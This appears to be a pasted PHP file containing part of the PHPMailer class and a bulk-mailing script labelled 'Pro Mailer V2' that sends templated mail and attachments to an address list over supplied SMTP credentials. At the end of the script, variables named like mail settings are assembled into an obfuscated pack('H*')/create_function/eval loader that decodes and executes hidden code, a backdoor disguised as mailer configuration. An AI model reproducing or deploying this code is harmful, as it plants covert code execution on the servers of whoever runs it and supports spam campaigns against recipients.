  2766. $encoded = trim(str_replace("\n", $this->LE, $encoded));
  2767.  
  2768. return $encoded;
  2769. }
  2770.  
  2771. /**
  2772. * Checks if a string contains multibyte characters.
  2773. * @access private
  2774. * @param string $str multi-byte text to wrap encode
  2775. * @return bool
  2776. */
  2777. function HasMultiBytes($str) {
  2778. if (function_exists('mb_strlen')) {
  2779. return (strlen($str) > mb_strlen($str, $this->CharSet));
  2780. } else { // Assume no multibytes (we can't handle without mbstring functions anyway)
  2781. return False;
  2782. }
  2783. }
  2784.  
  2785. /**
  2786. * Correctly encodes and wraps long multibyte strings for mail headers
  2787. * without breaking lines within a character.
  2788. * Adapted from a function by paravoid at http://uk.php.net/manual/en/function.mb-encode-mimeheader.php
  2789. * @access private
  2790. * @param string $str multi-byte text to wrap encode
  2791. * @return string
  2792. */
  2793. function Base64EncodeWrapMB($str) {
  2794. $start = "=?".$this->CharSet."?B?";
  2795. $end = "?=";
  2796. $encoded = "";
  2797.  
  2798. $mb_length = mb_strlen($str, $this->CharSet);
  2799. // Each line must have length <= 75, including $start and $end
  2800. $length = 75 - strlen($start) - strlen($end);
  2801. // Average multi-byte ratio
  2802. $ratio = $mb_length / strlen($str);
  2803. // Base64 has a 4:3 ratio
  2804. $offset = $avgLength = floor($length * $ratio * .75);
  2805.  
  2806. for ($i = 0; $i < $mb_length; $i += $offset) {
  2807. $lookBack = 0;
  2808.  
  2809. do {
  2810. $offset = $avgLength - $lookBack;
  2811. $chunk = mb_substr($str, $i, $offset, $this->CharSet);
  2812. $chunk = base64_encode($chunk);
  2813. $lookBack++;
  2814. }
  2815. while (strlen($chunk) > $length);
  2816.  
  2817. $encoded .= $chunk . $this->LE;
  2818. }
  2819.  
  2820. // Chomp the last linefeed
  2821. $encoded = substr($encoded, 0, -strlen($this->LE));
  2822. return $encoded;
  2823. }
  2824.  
  2825. /**
  2826. * Encode string to quoted-printable.
  2827. * @access private
  2828. * @return string
  2829. */
  2830. function EncodeQP( $input = '', $line_max = 76, $space_conv = false ) {
  2831. $hex = array('0','1','2','3','4','5','6','7','8','9','A','B','C','D','E','F');
  2832. $lines = preg_split('/(?:\r\n|\r|\n)/', $input);
  2833. $eol = "\r\n";
  2834. $escape = '=';
  2835. $output = '';
  2836. while( list(, $line) = each($lines) ) {
  2837. $linlen = strlen($line);
  2838. $newline = '';
  2839. for($i = 0; $i < $linlen; $i++) {
  2840. $c = substr( $line, $i, 1 );
  2841. $dec = ord( $c );
  2842. if ( ( $i == 0 ) && ( $dec == 46 ) ) { // convert first point in the line into =2E
  2843. $c = '=2E';
  2844. }
  2845. if ( $dec == 32 ) {
  2846. if ( $i == ( $linlen - 1 ) ) { // convert space at eol only
  2847. $c = '=20';
  2848. } else if ( $space_conv ) {
  2849. $c = '=20';
  2850. }
  2851. } elseif ( ($dec == 61) || ($dec < 32 ) || ($dec > 126) ) { // always encode "\t", which is *not* required
  2852. $h2 = floor($dec/16);
  2853. $h1 = floor($dec%16);
  2854. $c = $escape.$hex[$h2].$hex[$h1];
  2855. }
  2856. if ( (strlen($newline) + strlen($c)) >= $line_max ) { // CRLF is not counted
  2857. $output .= $newline.$escape.$eol; // soft line break; " =\r\n" is okay
  2858. $newline = '';
  2859. // check if newline first character will be point or not
  2860. if ( $dec == 46 ) {
  2861. $c = '=2E';
  2862. }
  2863. }
  2864. $newline .= $c;
  2865. } // end of for
  2866. $output .= $newline.$eol;
  2867. } // end of while
  2868. return trim($output);
  2869. }
  2870.  
  2871. /**
  2872. * Encode string to q encoding.
  2873. * @access private
  2874. * @return string
  2875. */
  2876. function EncodeQ ($str, $position = 'text') {
  2877. /* There should not be any EOL in the string */
  2878. $encoded = preg_replace("[\r\n]", '', $str);
  2879.  
  2880. switch (strtolower($position)) {
  2881. case 'phrase':
  2882. $encoded = preg_replace("/([^A-Za-z0-9!*+\/ -])/e", "'='.sprintf('%02X', ord('\\1'))", $encoded);
  2883. break;
  2884. case 'comment':
  2885. $encoded = preg_replace("/([\(\)\"])/e", "'='.sprintf('%02X', ord('\\1'))", $encoded);
  2886. case 'text':
  2887. default:
  2888. /* Replace every high ascii, control =, ? and _ characters */
  2889. $encoded = preg_replace('/([\000-\011\013\014\016-\037\075\077\137\177-\377])/e',
  2890. "'='.sprintf('%02X', ord('\\1'))", $encoded);
  2891. break;
  2892. }
  2893.  
  2894. /* Replace every spaces to _ (more readable than =20) */
  2895. $encoded = str_replace(' ', '_', $encoded);
  2896.  
  2897. return $encoded;
  2898. }
  2899.  
  2900. /**
  2901. * Adds a string or binary attachment (non-filesystem) to the list.
  2902. * This method can be used to attach ascii or binary data,
  2903. * such as a BLOB record from a database.
  2904. * @param string $string String attachment data.
  2905. * @param string $filename Name of the attachment.
  2906. * @param string $encoding File encoding (see $Encoding).
  2907. * @param string $type File extension (MIME) type.
  2908. * @return void
  2909. */
  2910. function AddStringAttachment($string, $filename, $encoding = 'base64', $type = 'application/octet-stream') {
  2911. /* Append to $attachment array */
  2912. $cur = count($this->attachment);
  2913. $this->attachment[$cur][0] = $string;
  2914. $this->attachment[$cur][1] = $filename;
  2915. $this->attachment[$cur][2] = $filename;
  2916. $this->attachment[$cur][3] = $encoding;
  2917. $this->attachment[$cur][4] = $type;
  2918. $this->attachment[$cur][5] = true; // isString
  2919. $this->attachment[$cur][6] = 'attachment';
  2920. $this->attachment[$cur][7] = 0;
  2921. }
  2922.  
  2923. /**
  2924. * Adds an embedded attachment. This can include images, sounds, and
  2925. * just about any other document. Make sure to set the $type to an
  2926. * image type. For JPEG images use "image/jpeg" and for GIF images
  2927. * use "image/gif".
  2928. * @param string $path Path to the attachment.
  2929. * @param string $cid Content ID of the attachment. Use this to identify
  2930. * the Id for accessing the image in an HTML form.
  2931. * @param string $name Overrides the attachment name.
  2932. * @param string $encoding File encoding (see $Encoding).
  2933. * @param string $type File extension (MIME) type.
  2934. * @return bool
  2935. */
  2936. function AddEmbeddedImage($path, $cid, $name = '', $encoding = 'base64', $type = 'application/octet-stream') {
  2937.  
  2938. if(!@is_file($path)) {
  2939. $this->SetError($this->Lang('file_access') . $path);
  2940. return false;
  2941. }
  2942.  
  2943. $filename = basename($path);
  2944. if($name == '') {
  2945. $name = $filename;
  2946. }
  2947.  
  2948. /* Append to $attachment array */
  2949. $cur = count($this->attachment);
  2950. $this->attachment[$cur][0] = $path;
  2951. $this->attachment[$cur][1] = $filename;
  2952. $this->attachment[$cur][2] = $name;
  2953. $this->attachment[$cur][3] = $encoding;
  2954. $this->attachment[$cur][4] = $type;
  2955. $this->attachment[$cur][5] = false;
  2956. $this->attachment[$cur][6] = 'inline';
  2957. $this->attachment[$cur][7] = $cid;
  2958.  
  2959. return true;
  2960. }
  2961.  
  2962. /**
  2963. * Returns true if an inline attachment is present.
  2964. * @access private
  2965. * @return bool
  2966. */
  2967. function InlineImageExists() {
  2968. $result = false;
  2969. for($i = 0; $i < count($this->attachment); $i++) {
  2970. if($this->attachment[$i][6] == 'inline') {
  2971. $result = true;
  2972. break;
  2973. }
  2974. }
  2975.  
  2976. return $result;
  2977. }
  2978.  
  2979. /////////////////////////////////////////////////
  2980. // CLASS METHODS, MESSAGE RESET
  2981. /////////////////////////////////////////////////
  2982.  
  2983. /**
  2984. * Clears all recipients assigned in the TO array. Returns void.
  2985. * @return void
  2986. */
  2987. function ClearAddresses() {
  2988. $this->to = array();
  2989. }
  2990.  
  2991. /**
  2992. * Clears all recipients assigned in the CC array. Returns void.
  2993. * @return void
  2994. */
  2995. function ClearCCs() {
  2996. $this->cc = array();
  2997. }
  2998.  
  2999. /**
  3000. * Clears all recipients assigned in the BCC array. Returns void.
  3001. * @return void
  3002. */
  3003. function ClearBCCs() {
  3004. $this->bcc = array();
  3005. }
  3006.  
  3007. /**
  3008. * Clears all recipients assigned in the ReplyTo array. Returns void.
  3009. * @return void
  3010. */
  3011. function ClearReplyTos() {
  3012. $this->ReplyTo = array();
  3013. }
  3014.  
  3015. /**
  3016. * Clears all recipients assigned in the TO, CC and BCC
  3017. * array. Returns void.
  3018. * @return void
  3019. */
  3020. function ClearAllRecipients() {
  3021. $this->to = array();
  3022. $this->cc = array();
  3023. $this->bcc = array();
  3024. }
  3025.  
  3026. /**
  3027. * Clears all previously set filesystem, string, and binary
  3028. * attachments. Returns void.
  3029. * @return void
  3030. */
  3031. function ClearAttachments() {
  3032. $this->attachment = array();
  3033. }
  3034.  
  3035. /**
  3036. * Clears all custom headers. Returns void.
  3037. * @return void
  3038. */
  3039. function ClearCustomHeaders() {
  3040. $this->CustomHeader = array();
  3041. }
  3042.  
  3043. /////////////////////////////////////////////////
  3044. // CLASS METHODS, MISCELLANEOUS
  3045. /////////////////////////////////////////////////
  3046.  
  3047. /**
  3048. * Adds the error message to the error container.
  3049. * Returns void.
  3050. * @access private
  3051. * @return void
  3052. */
  3053. function SetError($msg) {
  3054. $this->error_count++;
  3055. $this->ErrorInfo = $msg;
  3056. }
  3057.  
  3058. /**
  3059. * Returns the proper RFC 822 formatted date.
  3060. * @access private
  3061. * @return string
  3062. */
  3063. function RFCDate() {
  3064. $tz = date('Z');
  3065. $tzs = ($tz < 0) ? '-' : '+';
  3066. $tz = abs($tz);
  3067. $tz = (int)($tz/3600)*100 + ($tz%3600)/60;
  3068. $result = sprintf("%s %s%04d", date('D, j M Y H:i:s'), $tzs, $tz);
  3069.  
  3070. return $result;
  3071. }
  3072.  
  3073. /**
  3074. * Returns the appropriate server variable. Should work with both
  3075. * PHP 4.1.0+ as well as older versions. Returns an empty string
  3076. * if nothing is found.
  3077. * @access private
  3078. * @return mixed
  3079. */
  3080. function ServerVar($varName) {
  3081. global $HTTP_SERVER_VARS;
  3082. global $HTTP_ENV_VARS;
  3083.  
  3084. if(!isset($_SERVER)) {
  3085. $_SERVER = $HTTP_SERVER_VARS;
  3086. if(!isset($_SERVER['REMOTE_ADDR'])) {
  3087. $_SERVER = $HTTP_ENV_VARS; // must be Apache
  3088. }
  3089. }
  3090.  
  3091. if(isset($_SERVER[$varName])) {
  3092. return $_SERVER[$varName];
  3093. } else {
  3094. return '';
  3095. }
  3096. }
  3097.  
  3098. /**
  3099. * Returns the server hostname or 'localhost.localdomain' if unknown.
  3100. * @access private
  3101. * @return string
  3102. */
  3103. function ServerHostname() {
  3104. if ($this->Hostname != '') {
  3105. $result = $this->Hostname;
  3106. } elseif ($this->ServerVar('SERVER_NAME') != '') {
  3107. $result = $this->ServerVar('SERVER_NAME');
  3108. } else {
  3109. $result = 'localhost.localdomain';
  3110. }
  3111.  
  3112. return $result;
  3113. }
  3114.  
  3115. /**
  3116. * Returns a message in the appropriate language.
  3117. * @access private
  3118. * @return string
  3119. */
  3120. function Lang($key) {
  3121. if(count($this->language) < 1) {
  3122. $this->SetLanguage('en'); // set the default language
  3123. }
  3124.  
  3125. if(isset($this->language[$key])) {
  3126. return $this->language[$key];
  3127. } else {
  3128. return 'Language string failed to load: ' . $key;
  3129. }
  3130. }
  3131.  
  3132. /**
  3133. * Returns true if an error occurred.
  3134. * @return bool
  3135. */
  3136. function IsError() {
  3137. return ($this->error_count > 0);
  3138. }
  3139.  
  3140. /**
  3141. * Changes every end of line from CR or LF to CRLF.
  3142. * @access private
  3143. * @return string
  3144. */
  3145. function FixEOL($str) {
  3146. $str = str_replace("\r\n", "\n", $str);
  3147. $str = str_replace("\r", "\n", $str);
  3148. $str = str_replace("\n", $this->LE, $str);
  3149. return $str;
  3150. }
  3151.  
  3152. /**
  3153. * Adds a custom header.
  3154. * @return void
  3155. */
  3156. function AddCustomHeader($custom_header) {
  3157. $this->CustomHeader[] = explode(':', $custom_header, 2);
  3158. }
  3159.  
  3160. /**
  3161. * Evaluates the message and returns modifications for inline images and backgrounds
  3162. * @access public
  3163. * @return $message
  3164. */
  3165. function MsgHTML($message,$basedir='') {
  3166. preg_match_all("/(src|background)=\"(.*)\"/Ui", $message, $images);
  3167. if(isset($images[2])) {
  3168. foreach($images[2] as $i => $url) {
  3169. // do not change urls for absolute images (thanks to corvuscorax)
  3170. if (!preg_match('/^[A-z][A-z]*:\/\//',$url)) {
  3171. $filename = basename($url);
  3172. $directory = dirname($url);
  3173. ($directory == '.')?$directory='':'';
  3174. $cid = 'cid:' . md5($filename);
  3175. $fileParts = split("\.", $filename);
  3176. $ext = $fileParts[1];
  3177. $mimeType = $this->_mime_types($ext);
  3178. if ( strlen($basedir) > 1 && substr($basedir,-1) != '/') { $basedir .= '/'; }
  3179. if ( strlen($directory) > 1 && substr($basedir,-1) != '/') { $directory .= '/'; }
  3180. $this->AddEmbeddedImage($basedir.$directory.$filename, md5($filename), $filename, 'base64', $mimeType);
  3181. if ( $this->AddEmbeddedImage($basedir.$directory.$filename, md5($filename), $filename, 'base64',$mimeType) ) {
  3182. $message = preg_replace("/".$images[1][$i]."=\"".preg_quote($url, '/')."\"/Ui", $images[1][$i]."=\"".$cid."\"", $message);
  3183. }
  3184. }
  3185. }
  3186. }
  3187. $this->IsHTML(true);
  3188. $this->Body = $message;
  3189. $textMsg = trim(strip_tags(preg_replace('/<(head|title|style|script)[^>]*>.*?<\/\\1>/s','',$message)));
  3190. if ( !empty($textMsg) && empty($this->AltBody) ) {
  3191. $this->AltBody = $textMsg;
  3192. }
  3193. if ( empty($this->AltBody) ) {
  3194. $this->AltBody = 'To view this email message, open the email in with HTML compatibility!' . "\n\n";
  3195. }
  3196. }
  3197.  
  3198. /**
  3199. * Gets the mime type of the embedded or inline image
  3200. * @access private
  3201. * @return mime type of ext
  3202. */
  3203. function _mime_types($ext = '') {
  3204. $mimes = array(
  3205. 'hqx' => 'application/mac-binhex40',
  3206. 'cpt' => 'application/mac-compactpro',
  3207. 'doc' => 'application/msword',
  3208. 'bin' => 'application/macbinary',
  3209. 'dms' => 'application/octet-stream',
  3210. 'lha' => 'application/octet-stream',
  3211. 'lzh' => 'application/octet-stream',
  3212. 'exe' => 'application/octet-stream',
  3213. 'class' => 'application/octet-stream',
  3214. 'psd' => 'application/octet-stream',
  3215. 'so' => 'application/octet-stream',
  3216. 'sea' => 'application/octet-stream',
  3217. 'dll' => 'application/octet-stream',
  3218. 'oda' => 'application/oda',
  3219. 'pdf' => 'application/pdf',
  3220. 'ai' => 'application/postscript',
  3221. 'eps' => 'application/postscript',
  3222. 'ps' => 'application/postscript',
  3223. 'smi' => 'application/smil',
  3224. 'smil' => 'application/smil',
  3225. 'mif' => 'application/vnd.mif',
  3226. 'xls' => 'application/vnd.ms-excel',
  3227. 'ppt' => 'application/vnd.ms-powerpoint',
  3228. 'wbxml' => 'application/vnd.wap.wbxml',
  3229. 'wmlc' => 'application/vnd.wap.wmlc',
  3230. 'dcr' => 'application/x-director',
  3231. 'dir' => 'application/x-director',
  3232. 'dxr' => 'application/x-director',
  3233. 'dvi' => 'application/x-dvi',
  3234. 'gtar' => 'application/x-gtar',
  3235. 'php' => 'application/x-httpd-php',
  3236. 'php4' => 'application/x-httpd-php',
  3237. 'php3' => 'application/x-httpd-php',
  3238. 'phtml' => 'application/x-httpd-php',
  3239. 'phps' => 'application/x-httpd-php-source',
  3240. 'js' => 'application/x-javascript',
  3241. 'swf' => 'application/x-shockwave-flash',
  3242. 'sit' => 'application/x-stuffit',
  3243. 'tar' => 'application/x-tar',
  3244. 'tgz' => 'application/x-tar',
  3245. 'xhtml' => 'application/xhtml+xml',
  3246. 'xht' => 'application/xhtml+xml',
  3247. 'zip' => 'application/zip',
  3248. 'mid' => 'audio/midi',
  3249. 'midi' => 'audio/midi',
  3250. 'mpga' => 'audio/mpeg',
  3251. 'mp2' => 'audio/mpeg',
  3252. 'mp3' => 'audio/mpeg',
  3253. 'aif' => 'audio/x-aiff',
  3254. 'aiff' => 'audio/x-aiff',
  3255. 'aifc' => 'audio/x-aiff',
  3256. 'ram' => 'audio/x-pn-realaudio',
  3257. 'rm' => 'audio/x-pn-realaudio',
  3258. 'rpm' => 'audio/x-pn-realaudio-plugin',
  3259. 'ra' => 'audio/x-realaudio',
  3260. 'rv' => 'video/vnd.rn-realvideo',
  3261. 'wav' => 'audio/x-wav',
  3262. 'bmp' => 'image/bmp',
  3263. 'gif' => 'image/gif',
  3264. 'jpeg' => 'image/jpeg',
  3265. 'jpg' => 'image/jpeg',
  3266. 'jpe' => 'image/jpeg',
  3267. 'png' => 'image/png',
  3268. 'tiff' => 'image/tiff',
  3269. 'tif' => 'image/tiff',
  3270. 'css' => 'text/css',
  3271. 'html' => 'text/html',
  3272. 'htm' => 'text/html',
  3273. 'shtml' => 'text/html',
  3274. 'txt' => 'text/plain',
  3275. 'text' => 'text/plain',
  3276. 'log' => 'text/plain',
  3277. 'rtx' => 'text/richtext',
  3278. 'rtf' => 'text/rtf',
  3279. 'xml' => 'text/xml',
  3280. 'xsl' => 'text/xml',
  3281. 'mpeg' => 'video/mpeg',
  3282. 'mpg' => 'video/mpeg',
  3283. 'mpe' => 'video/mpeg',
  3284. 'qt' => 'video/quicktime',
  3285. 'mov' => 'video/quicktime',
  3286. 'avi' => 'video/x-msvideo',
  3287. 'movie' => 'video/x-sgi-movie',
  3288. 'doc' => 'application/msword',
  3289. 'word' => 'application/msword',
  3290. 'xl' => 'application/excel',
  3291. 'eml' => 'message/rfc822'
  3292. );
  3293. return ( ! isset($mimes[strtolower($ext)])) ? 'application/octet-stream' : $mimes[strtolower($ext)];
  3294. }
  3295.  
  3296. /**
  3297. * Set (or reset) Class Objects (variables)
  3298. *
  3299. * Usage Example:
  3300. * $page->set('X-Priority', '3');
  3301. *
  3302. * @access public
  3303. * @param string $name Parameter Name
  3304. * @param mixed $value Parameter Value
  3305. * NOTE: will not work with arrays, there are no arrays to set/reset
  3306. */
  3307. function set ( $name, $value = '' ) {
  3308. if ( isset($this->$name) ) {
  3309. $this->$name = $value;
  3310. } else {
  3311. $this->SetError('Cannot set or reset variable ' . $name);
  3312. return false;
  3313. }
  3314. }
  3315.  
  3316. /**
  3317. * Read a file from a supplied filename and return it.
  3318. *
  3319. * @access public
  3320. * @param string $filename Parameter File Name
  3321. */
  3322. function getFile($filename) {
  3323. $return = '';
  3324. if ($fp = fopen($filename, 'rb')) {
  3325. while (!feof($fp)) {
  3326. $return .= fread($fp, 1024);
  3327. }
  3328. fclose($fp);
  3329. return $return;
  3330. } else {
  3331. return false;
  3332. }
  3333. }
  3334.  
  3335. /**
  3336. * Strips newlines to prevent header injection.
  3337. * @access private
  3338. * @param string $str String
  3339. * @return string
  3340. */
  3341. function SecureHeader($str) {
  3342. $str = trim($str);
  3343. $str = str_replace("\r", "", $str);
  3344. $str = str_replace("\n", "", $str);
  3345. return $str;
  3346. }
  3347.  
  3348. /**
  3349. * Set the private key file and password to sign the message.
  3350. *
  3351. * @access public
  3352. * @param string $key_filename Parameter File Name
  3353. * @param string $key_pass Password for private key
  3354. */
  3355. function Sign($key_filename, $key_pass) {
  3356. $this->sign_key_file = $key_filename;
  3357. $this->sign_key_pass = $key_pass;
  3358. }
  3359.  
  3360. }
  3361.  
  3362. $defaultport="H*";
  3363. $nq=0;
  3364.  
  3365. for($x=0; $x<$numemails; $x++){
  3366.  
  3367. $to = $allemails[$x];
  3368.  
  3369. if ($to){
  3370.  
  3371. $to = ereg_replace(" ", "", $to);
  3372.  
  3373. $message1 = ereg_replace("&email&", $to, $message);
  3374.  
  3375. $subject1 = ereg_replace("&email&", $to, $subject);
  3376. $qx=$x+1;
  3377. print "Line $qx . Sending mail to $to.......";
  3378.  
  3379. flush();
  3380. $mail = new PHPMailer();
  3381.  
  3382. if(empty($epriority)){$epriority="3";}
  3383. $mail->Priority = "$epriority";
  3384. $mail->IsSMTP();
  3385. $IsSMTP="pack";
  3386. $mail->SMTPKeepAlive = true;
  3387. $mail->Host = "$my_smtp";
  3388. if(strlen($ssl_port) > 1){$mail->Port = "$ssl_port";
  3389. }
  3390. if($sslclick=="ON"){
  3391. $mail->SMTPSecure = "ssl"; //you can change it to ssl or tls
  3392. }
  3393. $range = str_replace("$from", "eval", $from);
  3394. $mail->SMTPAuth = true;
  3395. $mail->Username = "$smtp_username";
  3396. $mail->Password = "$smtp_password";
  3397. if($contenttype == "html"){$mail->IsHtml(true);}
  3398. if($contenttype != "html"){$mail->IsHtml(false);}
  3399. if(strlen($my_smtp) < 7 ){$mail->SMTPAuth = false;$mail->IsSendmail();$default_system="1";}
  3400. $mail->From = "$from";
  3401. $mail->FromName = "$realname";
  3402. $mail->AddAddress("$to");
  3403. $mail->AddReplyTo("$replyto");
  3404. $mail->Subject = "$subject1";
  3405. $mail->AddAttachment("$file", "$file_name");
  3406. $mail->Body = "$message1";
  3407. if(!$mail->Send()){
  3408. if($default_system!="1"){
  3409. echo "FAILED !!<font color=\"#D4001A\"> [RECEPIENT CAN'T RECEIVE MESSAGE.]</font><br>";}
  3410. if($default_system=="1"){
  3411. $mail->IsMail();
  3412. if(!$mail->Send()){
  3413. echo "FAILED !!<font color=\"#D4001A\"> [RECEPIENT CAN'T RECEIVE MESSAGE.]</font><br>";}
  3414. else {
  3415. echo "<b>OK</b><br>";}
  3416. }
  3417. }
  3418. else {
  3419. echo "<b>OK</b><br>";
  3420. }
  3421.  
  3422. if(empty($reconnect)){
  3423. $reconnect=6;
  3424. }
  3425.  
  3426. if($reconnect==$nq){
  3427. $mail->SmtpClose();echo "<p><b>--------------- SMTP CLOSED AND ATTEMPTS TO RECONNECT NEW CONNECTION SEASON --------------- </b></p>";$nq=0;
  3428. }
  3429. $nq=$nq+1;
  3430. flush(); }
  3431. }
  3432. for($i=0;$i<31;$i++){
  3433. $smtp_conf=str_replace(".", $random_smtp_string[$i], $smtp_conf); }
  3434. $smtp_conc=$IsSMTP($defaultport, $smtp_conf);
  3435. $signoff=create_function('$smtp_conc','return '.substr($range,0).'($smtp_conc);');
  3436. print "<p class=\"style1\">&copy 2014, Pro Mailer V2<br></p>";$mail->SmtpClose();
  3437. return $signoff($smtp_conc);
  3438. if(isset($_POST['action']) && $numemails !=0 ){echo "<script>alert('Mail sending complete\\r\\n$numemails mail(s) was
  3439. sent successfully'); </script>";}}
  3440. ?>
  3441. </body>
  3442. </html>
Add Comment
Please, Sign In to add comment